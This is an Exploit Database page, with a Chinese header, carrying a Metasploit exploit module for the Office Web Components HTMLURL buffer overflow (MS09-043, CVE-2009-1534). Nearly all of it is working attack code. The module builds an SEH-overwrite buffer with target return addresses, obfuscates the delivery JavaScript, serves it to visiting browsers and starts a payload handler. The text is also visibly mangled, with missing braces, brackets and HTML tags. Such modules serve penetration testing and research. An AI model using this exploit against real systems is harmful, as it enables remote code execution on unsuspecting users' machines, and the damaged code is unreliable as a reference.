Microsoft OWC Spreadsheet – HTMLURL Buffer Overflow (MS09-043) (Metasploit)

Exploit Database
143 阅读

作者： Metasploit

日期： 2010-04-30
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16542/

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# $Id: ms09_043_owc_htmlurl.rb 9179 2010-04-30 08:40:19Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in Microsoft's Office Web Components.

When passing an overly long string as the "HTMLURL" parameter an attacker can

execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'jduck' ],

'Version'=> '$Revision: 9179 $',

'References' =>

[

[ 'CVE', '2009-1534' ],

[ 'OSVDB', '56916' ],

[ 'BID', '35992' ],

[ 'MSB', 'MS09-043' ],

[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=819' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00\xf0",

'DisableNops' => true

'Platform' => 'win',

'Targets'=>

[

# 'ProgId' => "OWC.Spreadsheet.9"

# 'ClassId' => "0002E512-0000-0000-C000-000000000046",

[ 'Windows XP SP3 - IE6 - Office XP SP0',

{

'ClassId' => "0002E510-0000-0000-C000-000000000046",

'Offset'=> 31337,

'Ret' => 0x42424242 # p/p/r in msohev.dll ??

}

[ 'Windows XP SP3 - IE6 - Office XP SP3',

{

'ClassId' => "0002E511-0000-0000-C000-000000000046",

'Offset'=> ((4096*7) + 1076),

'Ret' => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0

}

]

'DisclosureDate' => 'Aug 11 2009',

'DefaultTarget'=> 1))

register_options(

[

OptString.new('URIPATH', [ true, "The URI to use.", "/" ])

], self.class)

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def big_alnum(num)

divisor = 2048 + rand(2048)

pad_pages = num / divisor

pad_left = num % divisor

ret = ''

ret << rand_text_alphanumeric(divisor) * pad_pages if pad_pages

ret << rand_text_alphanumeric(pad_left) if pad_left

ret

end

def on_request_uri(cli, request)

=begin

# Only respond to any client twice...

if (@sent[cli.peerhost] > 1)

send_not_found(cli)

return

end

@sent[cli.peerhost] += 1

=end

# Re-generate the payload.

return if ((p = regenerate_payload(cli)) == nil)

# ActiveX parameter(s)

clsid = target['ClassId']

# Exploitation parameter(s)

seh_offset = target['Offset']

# Build the buffer.

string = big_alnum(seh_offset)

string << generate_seh_record(target.ret)

string << payload.encoded

string << big_alnum(40960 - string.length)

string = Rex::Text.to_unescape(string)

# Randomize the object and function names

objid = rand_text_alpha(8+rand(8))

fnname = rand_text_alpha(8+rand(8))

# Build the final JavaScript

js = %Q|

function #{fnname}()

{

var ver1 = -1;

var ver3 = -1;

try {

ver3 = #{objid}.Version.split('.')[3];

ver3 = parseInt(ver3);

ver1 = #{objid}.Version.split('.')[0];

ver1 = parseInt(ver1);

} catch (e) { }

if (ver1 == 9 && ver3 <= 8966)

{

history.go(0);

#{objid}.HTMLURL = unescape('#{string}');

}

# Obfuscate the javascript

opts = {

'Strings' => false, # way too slow to obfuscate this monster

'Symbols' => {

'Variables' => %w{ long ver1 ver3 },

}

js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)

js.obfuscate()

#<body onload="history.go(0); #{fnname}()">

# Build the final HTML

content = %Q|<html>

<head>

#{js}

</script>

</head>

</object>

</body>

</html>

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content,

{

# The vuln requires that this be the same on both requests.

'Last-Modified' => 'Tue, 11 Aug 2009 07:13:49 GMT',

})

# Handle the payload

handler(cli)

end